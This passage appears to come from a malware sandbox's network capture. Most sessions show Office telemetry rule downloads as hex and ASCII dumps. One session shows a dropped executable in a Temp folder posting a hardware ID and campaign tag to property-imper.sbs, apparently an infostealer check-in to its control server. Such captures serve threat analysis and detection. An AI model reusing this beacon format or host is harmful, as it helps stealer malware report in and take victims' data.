2024-11-23 19:23:46 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:47 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:47 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192347Z-178bfbc474bwlrhlhC1NYCy3kg00000004vg00000000dt2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:47 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:47 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:47 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192347Z-178bfbc474b9fdhphC1NYCac0n00000004s000000000hkgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:47 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:47 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192347Z-178bfbc474b9fdhphC1NYCac0n00000004wg00000000485w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:47 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:47 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:48 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: a0a34a76-601e-0050-3b16-3d2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192348Z-178bfbc474btvfdfhC1NYCa2en00000004y000000000c7cy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:48 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:48 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:48 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192348Z-178bfbc474bv587zhC1NYCny5w00000004r000000000dnym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:48 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49881	104.21.33.116	443	5472	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:48 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1JV60WX2G9H8LVCU95O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1309 Host: property-imper.sbs
2024-11-23 19:23:48 UTC	1309	OUT	Data Raw: 2d 2d 31 4a 56 36 30 57 58 32 47 39 48 38 4c 56 43 55 39 35 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 31 4a 56 36 30 57 58 32 47 39 48 38 4c 56 43 55 39 35 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 4a 56 36 30 57 58 32 47 39 48 38 4c 56 43 55 39 35 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --1JV60WX2G9H8LVCU95OContent-Disposition: form-data; name="hwid"324EE624F64573D4D7CBBD6DF28D3732--1JV60WX2G9H8LVCU95OContent-Disposition: form-data; name="pid"1--1JV60WX2G9H8LVCU95OContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-23 19:23:49 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v73h76f4vrcaa0ksojdji7lpjr; expires=Wed, 19-Mar-2025 13:10:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z6bOojN47%2FoyJHQhvQAORL0sI7UJUp6tDDdEsFZFlyjfjFm1ruBSY1OXWWZF3fuaBH4DxfLgrIn1T9gR8aNyB1Hv79qIZHmXvBIc%2Fqjyo4qhmERgKlYArjBEzYmhFyYdprXBOH0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73892b5b511921-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1623&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2229&delivery_rate=1686886&cwnd=146&unsent_bytes=0&cid=a3619faef746ef7d&ts=922&x=0"
2024-11-23 19:23:49 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 19:23:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:49 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:50 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:50 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: cfe7d082-f01e-0071-38a5-3d431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192350Z-15b8b599d88m7pn7hC1TEB4axw00000003e0000000007mpb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 19:23:50 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:49 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:50 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e88bdfa1-301e-003f-630e-3d266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192350Z-178bfbc474brk967hC1NYCfu6000000004m000000000m93r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:50 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:49 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:50 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192350Z-178bfbc474bvjk8shC1NYC83ns00000004u0000000003hun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:50 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:50 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:50 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: fa2bbe9c-f01e-0052-6fac-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192350Z-15b8b599d88qw29phC1TEB5zag00000003cg000000006md2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:50 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:50 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:50 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 38badaf1-c01e-00ad-2128-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192350Z-174c587ffdf89smkhC1TEB697s00000003hg000000000bk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
